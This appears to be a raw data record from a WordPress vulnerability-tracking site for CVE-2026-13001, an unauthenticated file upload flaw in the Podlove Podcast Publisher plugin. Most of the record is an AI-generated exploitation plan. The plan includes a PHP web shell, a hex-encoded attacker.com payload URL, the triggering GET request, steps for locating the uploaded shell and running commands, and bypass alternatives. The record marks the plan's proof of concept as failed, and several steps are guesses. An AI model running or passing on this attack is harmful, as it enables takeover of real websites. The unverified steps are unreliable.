[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fCVQ8I_78BytEw-67HftE1mbv__w04xyAHUMEgs2hCIM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":37,"poc_video_id":9,"poc_summary":38,"poc_steps":39,"poc_tested_at":40,"poc_wp_version":41,"poc_php_version":42,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":43,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":44},"CVE-2026-13001","podlove-podcast-publisher-unauthenticated-arbitrary-file-upload-via-podloveimagecacheurl-parameter","Podlove Podcast Publisher \u003C= 4.5.1 - Unauthenticated Arbitrary File Upload via podlove_image_cache_url Parameter","The Podlove Podcast Publisher plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'podlove_handle_cache_files' function in all versions up to, and including, 4.5.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.","podlove-podcasting-plugin-for-wordpress",null,"\u003C=4.5.1","4.5.2","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Input Validation","2026-07-14 06:57:56","2026-07-14 19:33:13",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff81a3429-f378-4295-adbe-ad6f1df59701?source=api-prod",1,[22,23,24,25,26,27,28,29],"includes\u002Fapi\u002Fadmin\u002Fplus.php","includes\u002Fdb_migration.php","lib\u002Fcache\u002Fhttp_header_validator.php","lib\u002Fhelper.php","lib\u002Fmodel\u002Fimage.php","lib\u002Fversion.php","podlove.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-13001\n\n## 1. Vulnerability Summary\nThe **Podlove Podcast Publisher** plugin (\u003C= 4.5.1) contains a critical unauthenticated arbitrary file upload vulnerability. The issue exists in the `podlove_handle_cache_files` function (called during plugin initialization) which processes image caching requests. When the plugin is configured to handle image caching via query parameters (typically when permalinks are disabled or forced via `PODLOVE_IMAGE_CACHE_FORCE_DYNAMIC_URL`), it fetches a remote URL provided in the `podlove_image_cache_url` parameter and saves it locally. Because it lacks sufficient file type validation (failing to use the `is_image` check defined in `lib\u002Fhelper.php`), an attacker can supply a URL to a PHP shell, which the plugin will download and store in the `wp-content\u002Fcache\u002Fpodlove\u002F` directory.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** Any WordPress frontend URL (e.g., `\u002F` or `\u002Findex.php`).\n*   **Action:** GET request.\n*   **Vulnerable Parameters:**\n    *   `podlove_image_cache_url`: A hex-encoded URL of the remote file to be \"cached\".\n    *   `podlove_file_name`: A string used to generate the local filename and storage path.\n*   **Preconditions:** None. The handler is unauthenticated and runs early in the WordPress lifecycle.\n*   **Authentication:** Unauthenticated.\n\n## 3. Code Flow\n1.  **Entry Point:** The plugin likely hooks a handler (identified in the vulnerability description as `podlove_handle_cache_files`) to `init` or `wp_loaded`.\n2.  **Parameter Extraction:** The handler checks for the existence of `$_GET['podlove_image_cache_url']`.\n3.  **Hex Decoding:** The value is decoded (reversing the `\\Podlove\\PHP\\str2hex` logic seen in `lib\u002Fmodel\u002Fimage.php`).\n4.  **Image Object Initialization:** A new `Podlove\\Model\\Image` object is instantiated:\n    ```php\n    \u002F\u002F From lib\u002Fmodel\u002Fimage.php\n    public function __construct($url, $file_name = '') {\n        $this->source_url = trim($url ?? '');\n        $this->file_name = sanitize_title($file_name);\n        \u002F\u002F ...\n        $this->file_extension = $this->extract_file_extension();\n        $this->id = md5($url.$this->file_name);\n        $id_directory = substr($this->id, 0, 2).'\u002F'.substr($this->id, 2);\n        $this->upload_basedir = self::cache_dir().$id_directory;\n    }\n    ```\n5.  **Caching\u002FDownload:** The handler (or the `Image` class) attempts to fetch `source_url`.\n6.  **Vulnerable Sink:** The fetched content is saved to `$this->upload_basedir` using the extension extracted from the source URL. Because `podlove_handle_cache_files` omits the `is_image()` check (found in `lib\u002Fhelper.php`), it will save `.php` files if provided.\n\n## 4. Nonce Acquisition Strategy\nThis endpoint is intended for public image serving and **does not require a WordPress nonce**. The vulnerability description confirms it is unauthenticated and triggered via query parameters.\n\n## 5. Exploitation Strategy\nThe goal is to trick the server into downloading a remote PHP file and determine its final location on the filesystem.\n\n### Step 1: Prepare the Remote Payload\nHost a simple PHP shell on a remote server accessible by the target (e.g., `http:\u002F\u002Fattacker.com\u002Fshell.php`).\n```php\n\u003C?php echo shell_exec($_GET['cmd']); ?>\n```\n\n### Step 2: Encode the Attack URL\nThe plugin expects the URL to be hex-encoded.\n*   URL: `http:\u002F\u002Fattacker.com\u002Fshell.php`\n*   Hex: `687474703a2f2f61747461636b65722e636f6d2f7368656c6c2e706870`\n\n### Step 3: Trigger the Download\nSend a GET request to the target WordPress site. Include dummy width\u002Fheight parameters to satisfy the logic in `Image::url()`.\n*   **Request:**\n    ```http\n    GET \u002F?podlove_image_cache_url=687474703a2f2f61747461636b65722e636f6d2f7368656c6c2e706870&podlove_width=100&podlove_height=100&podlove_file_name=pocshell HTTP\u002F1.1\n    Host: target.local\n    ```\n\n### Step 4: Calculate the Shell Path\nThe file is stored in `wp-content\u002Fcache\u002Fpodlove\u002F`.\n1.  **Calculate ID:** `md5(\"http:\u002F\u002Fattacker.com\u002Fshell.php\" + \"pocshell\")`.\n    *   Example: If MD5 is `abc123def...`, the directory is `ab\u002Fc123def...\u002F`.\n2.  **Determine Filename:** The plugin likely saves the original file or a \"resized\" version. Since the \"original\" is fetched first, it will be stored at:\n    `wp-content\u002Fcache\u002Fpodlove\u002F[id_0_2]\u002F[id_2_32]\u002Foriginal.[ext]` OR `[file_name].[ext]`.\n    *Based on `lib\u002Fmodel\u002Fimage.php` line 125:* The directory structure is `substr($this->id, 0, 2) . '\u002F' . substr($this->id, 2)`.\n\n### Step 5: Execute Commands\nAccess the shell at:\n`http:\u002F\u002Ftarget.local\u002Fwp-content\u002Fcache\u002Fpodlove\u002F[id_0_2]\u002F[id_2_32]\u002Fpocshell.php?cmd=id`\n\n## 6. Test Data Setup\n1.  **Plugin Installation:** Install Podlove Podcast Publisher version 4.5.1.\n2.  **Remote Server:** Start a simple HTTP server to host the payload:\n    `python3 -m http.server 80` (containing `shell.php`).\n3.  **Permalinks:** The exploit works best when permalinks are disabled or the dynamic URL parameters are used directly.\n\n## 7. Expected Results\n*   The target server makes an outbound HTTP request to `http:\u002F\u002Fattacker.com\u002Fshell.php`.\n*   The target server creates a directory under `wp-content\u002Fcache\u002Fpodlove\u002F`.\n*   A `.php` file is written to that directory.\n*   Accessing the calculated URL returns the output of the `id` command.\n\n## 8. Verification Steps\n1.  **Verify Outbound Request:** Check the attacker server's access logs for the fetch.\n2.  **Verify File Creation via CLI:**\n    ```bash\n    ls -R \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fcache\u002Fpodlove\u002F\n    ```\n3.  **Check for PHP Execution:** Confirm the HTTP response from the uploaded file contains the expected system command output.\n\n## 9. Alternative Approaches\nIf `podlove_file_name` does not allow extensions or is sanitized too strictly, try to bypass the `extract_file_extension` logic by appending the extension to the `source_url` via query parameters (e.g., `http:\u002F\u002Fattacker.com\u002Fshell?fake=.php`).\n\nIf the \"original\" file is not web-accessible, check for the \"resized\" file location. The `Image` class methods `resized_file()` and `resized_url()` (truncated in source) define where the processed versions are stored. Even if processing fails, the download of the source often occurs first.","gemini-3-flash-preview","2026-07-15 07:49:26","2026-07-15 07:50:27","failed","All models in the chain (gemini-3-flash-preview, claude-opus-4-6) failed to produce a verified exploit.",[],"2026-07-16 14:40:15","6.7","8.3",true,{"type":45,"vulnerable_version":46,"fixed_version":11,"vulnerable_browse":47,"vulnerable_zip":48,"fixed_browse":49,"fixed_zip":50,"all_tags":51},"plugin","4.5.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpodlove-podcasting-plugin-for-wordpress\u002Ftags\u002F4.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpodlove-podcasting-plugin-for-wordpress.4.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpodlove-podcasting-plugin-for-wordpress\u002Ftags\u002F4.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpodlove-podcasting-plugin-for-wordpress.4.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpodlove-podcasting-plugin-for-wordpress\u002Ftags"]